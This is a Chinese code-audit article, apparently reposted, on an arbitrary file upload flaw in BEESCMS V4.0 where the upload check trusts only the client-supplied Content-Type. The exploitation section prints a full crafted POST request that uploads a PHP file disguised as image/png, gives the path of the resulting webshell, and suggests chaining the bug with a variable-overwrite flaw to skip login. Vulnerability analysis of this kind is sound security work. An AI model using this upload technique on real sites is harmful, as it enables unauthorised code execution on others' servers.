【代码审计】 beescms 任意文件上传漏洞分析

admin 2021年3月29日09:30:50评论1,382 views1字数 1642阅读5分28秒阅读模式

一、漏洞描述:

上传文件的代码过滤不严,仅仅对content-type进行验证,所以造成了任意文件上传漏洞




二、漏洞分析过程:

定位到上传代码:/admin/upload.php

这里获取表单提交的内容,然后交给up_img()函数处理:

【代码审计】 beescms 任意文件上传漏洞分析


跟进up_img()函数:/admin/fun.php

这里仅仅对content-type进行了验证,没有其他的过滤了,传入的类型数组为常见的图片content-type:

【代码审计】 beescms 任意文件上传漏洞分析


然后拼接完整的文件路径、文件名,直接用move_uploaded_file()函数进行上传了:

【代码审计】 beescms 任意文件上传漏洞分析

因为content-type是来自客户端的,所以我们用burp改包就可以上传任意文件Getshell了。由于此文件上传功能是后台的,需要登陆,但是可以配合前面的变量覆盖漏洞进行完整的配合利用。





三、漏洞利用:

1、访问上传页面:


http://www.beescms.test/admin/upload.php

【代码审计】 beescms 任意文件上传漏洞分析


2、点击上传后,抓包,将conetnt-type改成允许的类型:

【代码审计】 beescms 任意文件上传漏洞分析


数据包如下:


POST /admin/upload.php HTTP/1.1Host: www.beescms.testUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateDNT: 1Referer: http://www.beescms.test/admin/upload.phpCookie: PHPSESSID=andul3quevuqpg01gfl1nl3i77;user=1Connection: closeContent-Type: multipart/form-data; boundary=---------------------------14100825332592Content-Length: 616
-----------------------------14100825332592Content-Disposition: form-data; name="get"

-----------------------------14100825332592Content-Disposition: form-data; name="up"; filename="_inc.php"Content-Type: image/png

-----------------------------14100825332592Content-Disposition: form-data; name="thumb_width"
300-----------------------------14100825332592Content-Disposition: form-data; name="thumb_height"
200-----------------------------14100825332592Content-Disposition: form-data; name="submit"
ä¸Šä¼ -----------------------------14100825332592--



3、访问上传的webshell:


http://www.beescms.test/upload/img/xxx.php


成功执行:

【代码审计】 beescms 任意文件上传漏洞分析



测试的CMS详细版本为:BEES_V4.0_R_20160525



点个赞和在看吧,欢迎转发!

点个赞和在看吧,欢迎转发!

点个赞和在看吧,欢迎转发!

【代码审计】 beescms 任意文件上传漏洞分析


本文始发于微信公众号(哈拉少安全小队):【代码审计】 beescms 任意文件上传漏洞分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年3月29日09:30:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【代码审计】 beescms 任意文件上传漏洞分析https://cn-sec.com/archives/311436.html

发表评论

匿名网友 填写信息